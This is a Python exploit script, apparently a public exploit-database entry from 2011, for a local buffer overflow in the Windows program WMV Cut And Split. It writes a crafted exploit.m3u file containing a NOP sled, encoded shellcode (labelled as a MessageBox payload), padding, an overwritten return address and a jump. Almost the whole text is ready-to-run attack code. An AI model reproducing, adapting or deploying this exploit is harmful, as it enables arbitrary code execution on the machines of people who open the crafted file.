WMV Cut And Split Local Buffer Overflow Exploit

#!/usr/bin/python
# Exploit Title: WMV Cut And Split Local Buffer Overflow Exploit
# Author: Angel Injection
# Date: 9/9/2011
# Tested on: Windows XP SP3 En
# Thanks To: Inj3ct0r Team , Sec-krb.org Team
# Grups Inj3ct0r: http://www.facebook.com/groups/Inj3ct0r.Team/
# Greets To: My friend " SeeMee "
 
buffersize = 205
nopsled = "\x90" * 4
# Custom MessageBox
# x86/shikata_ga_nai succeeded with size 104 (iteration=1)
shellcode = ("\xd9\xe5\x29\xc9\xbe\xe0\xc8\xa6\x9f\xb1\x14\xd9\x74\x24\xf4"
"\x5f\x83\xc7\x04\x31\x77\x14\x03\x77\xf4\x2a\x53\xf7\x8c\x8a"
"\xbc\x08\x04\xac\xd9\x4a\xbb\x5a\x47\x38\x30\xfa\xef\xd1\xdb"
"\xdc\xa2\x45\x60\x68\x4e\xe2\xef\x71\xd8\x6f\x8b\x54\x19\x18"
"\x36\xf4\x6c\xac\xd0\x9f\xae\x09\x58\x08\xc3\xf2\xf7\xac\x73"
"\xa6\x6f\x48\xe8\xc1\x8e\xa3\x30\x81\x03\x95\xe0\x98\x49\x12"
"\x44\xa3\x72\xcf\x77\x9b\xdc\x48\x65\xd0\x5d\xd4\x75\x36")
 
junk = "\x90" * (buffersize-(len(nopsled)+len(shellcode)))
njump = "\xe6\x24\xfd\xff\xff"
eip = "\x57\x95\x44\x7e"
 
payload = nopsled+shellcode+junk+eip+nopsled+njump
 
try:
    print "[+] Creating exploit file.."
    exploit = open('exploit.m3u','w');
    exploit.write(payload);
    exploit.close();
    print "[+] Writing", len(payload), "bytes to exploit.m3u"
    print "[+] Exploit file created!"
except:
    print "[-] Error: You do not have correct permissions.."